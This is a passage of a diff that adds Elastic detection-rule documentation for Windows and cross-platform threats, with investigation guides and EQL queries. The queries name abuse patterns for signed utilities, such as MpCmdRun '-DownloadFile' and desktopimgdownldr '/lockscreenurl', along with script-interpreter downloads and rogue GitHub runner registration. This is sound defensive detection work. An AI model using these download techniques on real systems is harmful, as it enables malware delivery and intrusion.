accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "desktopimgdownldr.exe" or ?process.pe.original_file_name == "desktopimgdownldr.exe") and + process.args : "/lockscreenurl:http*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-mpcmdrun.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-mpcmdrun.asciidoc new file mode 100644 index 0000000000..d452107d1a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-mpcmdrun.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-remote-file-download-via-mpcmdrun]] +=== Remote File Download via MpCmdRun + +Identifies the Windows Defender configuration utility (MpCmdRun.exe) being used to download a remote file. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/mohammadaskar2/status/1301263551638761477 +* https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-can-ironically-be-used-to-download-malware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Download via MpCmdRun* + + +Attackers commonly transfer tooling or malware from external systems into a compromised environment using the command and control channel. However, they can also abuse signed utilities to drop these files. + +The `MpCmdRun.exe` is a command-line tool part of Windows Defender and is used to manage various Microsoft Windows Defender Antivirus settings and perform certain tasks. It can also be abused by attackers to download remote files, including malware and offensive tooling. This rule looks for the patterns used to perform downloads using the utility. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Check the reputation of the domain or IP address used to host the downloaded file. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "MpCmdRun.exe" or ?process.pe.original_file_name == "MpCmdRun.exe") and + process.args : "-DownloadFile" and process.args : "-url" and process.args : "-path" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-powershell.asciidoc new file mode 100644 index 0000000000..87a27c5c12 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-powershell.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-remote-file-download-via-powershell]] +=== Remote File Download via PowerShell + +Identifies PowerShell being used to download an executable file from an untrusted remote destination. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Download via PowerShell* + + +Attackers commonly transfer tooling or malware from external systems into a compromised environment using the command and control channel. However, they can also abuse signed utilities to drop these files. + +PowerShell is one of system administrators' main tools for automation, report routines, and other tasks. This makes it available for use in various environments and creates an attractive way for attackers to execute code and perform actions. This rule correlates network and file events to detect downloads of executable and script files performed using PowerShell. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Evaluate whether the user needs to use PowerShell to complete tasks. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Check the reputation of the domain or IP address used to host the downloaded file. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- Administrators can use PowerShell legitimately to download executable and script files. Analysts can dismiss the alert if the Administrator is aware of the activity and the triage has not identified suspicious or malicious files. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s +[network where host.os.type == "windows" and + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + network.protocol == "dns" and + not dns.question.name : ( + "*.microsoft.com", "*.azureedge.net", "*.powershellgallery.com", "*.windowsupdate.com", + "metadata.google.internal", "dist.nuget.org", "artifacts.elastic.co", "*.digicert.com", + "*.chocolatey.org", "outlook.office365.com", "cdn.oneget.org", "ci.dot.net", + "packages.icinga.com", "login.microsoftonline.com", "*.gov", "*.azure.com", "*.python.org", + "dl.google.com", "sensor.cloud.tenable.com", "*.azurefd.net", "*.office.net", "*.anac*", + "aka.ms", "dot.net", "*.visualstudio.com", "*.local") and + not user.id == "S-1-5-18" and + /* Filter out NetBIOS/LLMNR-style names (e.g. host, localhost, etc.) */ + dns.question.name regex """.*\.[a-zA-Z]{2,5}"""] +[file where host.os.type == "windows" and event.type == "creation" and + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + (file.extension : ("exe", "dll", "ps1", "bat", "cmd", "vbs", "vbe", "js", "jse", "wsh", "wsf", "sct", "hta", "cpl", "scr", "pif", "com") or file.Ext.header_bytes : "4d5a*") and + not file.name : "__PSScriptPolicy*.ps1" and + not file.path : ( + "?:\\Users\\*\\AppData\\Local\\Temp\\????????.dll", + "?:\\Users\\*\\AppData\\Local\\Temp\\*\\????????.dll", + "?:\\Windows\\TEMP\\ansible-tmp-*\\AnsiballZ*.ps1" + ) and + not user.id == "S-1-5-18"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..20fc72b6d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-file-download-via-script-interpreter.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-remote-file-download-via-script-interpreter]] +=== Remote File Download via Script Interpreter + +Identifies built-in Windows script interpreters (cscript.exe or wscript.exe) being used to download an executable file from a remote destination. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.network-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Download via Script Interpreter* + + +The Windows Script Host (WSH) is a Windows automation technology, which is ideal for non-interactive scripting needs, such as logon scripting, administrative scripting, and machine automation. + +Attackers commonly use WSH scripts as their initial access method, acting like droppers for second stage payloads, but can also use them to download tools and utilities needed to accomplish their goals. + +This rule looks for DLLs and executables downloaded using `cscript.exe` or `wscript.exe`. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze both the script and the executable involved using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- The usage of these script engines by regular users is unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id + [network where host.os.type == "windows" and process.name : ("wscript.exe", "cscript.exe") and network.protocol != "dns" and + network.direction : ("outgoing", "egress") and network.type == "ipv4" and destination.ip != "127.0.0.1" + ] + [file where host.os.type == "windows" and event.type == "creation" and + file.extension : ("exe", "dll", "bat", "cmd", "ps1", "vbs", "vbe", "js", "jse", "wsh", "wsf", "sct", "hta", "scr", "pif", "com", "cpl")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-github-actions-runner-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-github-actions-runner-registration.asciidoc new file mode 100644 index 0000000000..e850879aac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-github-actions-runner-registration.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-remote-github-actions-runner-registration]] +=== Remote GitHub Actions Runner Registration + +This rule detects the configuration of a GitHub Actions self-hosted runner using the Runner.Listener binary. When a machine is registered to a remote repository, its owner gains the ability to execute arbitrary workflow commands on that host. Unexpected or unauthorized runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote GitHub Actions Runner Registration* + + +Unexpected or unauthorized Github actions runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. + + +*Possible investigation steps* + + +- Review the remote repository details and reputation. +- Examine the remote repository for any suspicious workflows run commands in the `.github/workflows` folder. +- Examine the execution context like process tree, associated network and file activities. +- Verify if there is adjascent any sensitive file access or collection. +- Correlate with other alerts and investiguate if this activity is related to a supply chain attack. + + +*False positive analysis* + + +- Authorized configuration changes. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the registered Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("Runner.Listener", "Runner.Listener.exe") and + process.args == "configure" and process.args == "--url" and process.args == "--token" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-management-access-launch-after-msi-install.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-management-access-launch-after-msi-install.asciidoc new file mode 100644 index 0000000000..a42184bf79 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-management-access-launch-after-msi-install.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-remote-management-access-launch-after-msi-install]] +=== Remote Management Access Launch After MSI Install + +Detects an MSI installer execution followed by the execution of commonly abused Remote Management Software like ScreenConnect. This behavior may indicate abuse where an attacker triggers an MSI install then connects via a guest link with a known session key. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: 